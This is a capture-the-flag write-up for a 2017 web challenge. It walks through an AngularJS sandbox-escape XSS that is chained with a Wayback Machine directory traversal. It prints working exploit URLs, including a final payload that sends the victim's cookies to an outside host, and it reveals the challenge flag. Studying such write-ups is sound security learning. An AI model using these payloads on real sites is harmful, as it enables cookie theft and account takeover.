Tags: xss angular
Rating: 5.0
We get an one-page application. Form takes URL, day, month and year then redirects us to webarchive.org.
Application uses AngularJS v1.5.8 and main functionality looks like:
```
function getWaybackUrl() {
return 'https://web.archive.org/web/' + $scope.date_y + $scope.date_m + $scope.date_d + '/' + $scope.website;
};
...
var q = $location.search();
if (q['url']) $scope.website = q['url'];
if (q['d']) $scope.date_d = q['d'];
if (q['m']) $scope.date_m = q['m'];
if (q['y']) $scope.date_y = q['y'];
if (q['reported']) {
$location.search('reported', null);
$window.location = getWaybackUrl();
}
$scope.date = [$scope.date_d, $scope.date_m, $scope.date_y].join('/');
$scope.setDate = () => $scope.date = prompt("When do you want to go?", $scope.date) || $scope.date;
...
.directive('wayback', function() {
return {
template: '<iframe class="wayback-iframe" ng-src="{{getWaybackUrl()}}"></iframe>',
};
})
```
The problem [perfectly described in this talk](https://youtu.be/ueEsOnHJZ80?t=21m49s) by Krzysztof Kotowicz (@kkotowicz).
So, we can try to inject some code to template with ```history.back(-1);```
There is a nice list of DOM based AngularJS sandbox escapes from [Portswigger](http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html) and another nice compilation [here](https://gist.github.com/mccabe615/cc92daaf368c9f5e15eda371728083a3).
First, we try it manually (webarchive is blocked in Russian Federation).
```
http://b2p.web.ctfcompetition.com/?url=http://google.com/%2F&d=1&m=01&y=%7B%7Ba%3DtoString().constructor.prototype;a.charAt%3Da.trim;$eval(%27a,alert(1),a%27)%7D%7D&reported=1
```
After clicking "back" button in Chrome we see the alert!
Now to the exploitation. Link to webarchive looks like
```
https://web.archive.org/web/XYZ/http://domain.com/
```
XYZ = day, month, year.
But webarchive will show the cached copy of the site, and we need JS code execution to run ```history.back(-1)```.
So we use directory traversal to force webarchive fetch the current version of our controlled site.
```
http://b2p.web.ctfcompetition.com/?url=../../../save/http:%2F%2Four-domain.com%2F&d=1&m=01&y=%7B%7Ba%3DtoString().constructor.prototype;a.charAt%3Da.trim;$eval(%27a,alert(1),a%27)%7D%7D&reported=1
```
It will redirect to the URL: https://web.archive.org/save/http://our-domain.com/
Code on the domain can look like:
```
<html>
<body>
test
<script src="/redirect.js"></scrtip>
</body>
</html>
```
Notice redirect.js being not inline
```
history.back(-1)
```
Now we see requests from webarchive in web servers log file:
```
207.241.225.236 - - [18/Jun/2017:00:35:47 +0000] "GET / HTTP/1.1" 200 4587 "http://b2p.web.ctfcompetition.com/?url=..%2F..%2F..%2Fsave%2Fhttp:%2F%2Four-domain.com%2F&d=1&m=01&y=%7B%7Ba%3DtoString().constructor.prototype;a.charAt%3Da.trim;$eval(%27a,alert(1)%7D%7D" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/59.0.3071.104 Safari/537.36"
207.241.226.232 - - [18/Jun/2017:00:35:48 +0000] "GET /redirect.js HTTP/1.1" 200 18 "http://our-domain.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/59.0.3071.104 Safari/537.36"
```
And the final exploit:
```
http://b2p.web.ctfcompetition.com/?url=../../../../../save/http:%2F%2Four-domain.com%2F&d=1&m=01&y=%7B%7Ba%3DtoString().constructor.prototype;a.charAt%3Da.trim;$eval(%27a,window.location=%22http://kyprizel.net/x%22%2bdocument.cookie,a%27)%7D%7D&reported=1
```
The flag is ```CTF{BY0uWeNtBacK2tHeDOM}```
Why it is required to press back button to execute the payload?
@RakeshMane_, thanks, updated. Good explanation is here: https://www.youtube.com/watch?v=ueEsOnHJZ80&t=1574s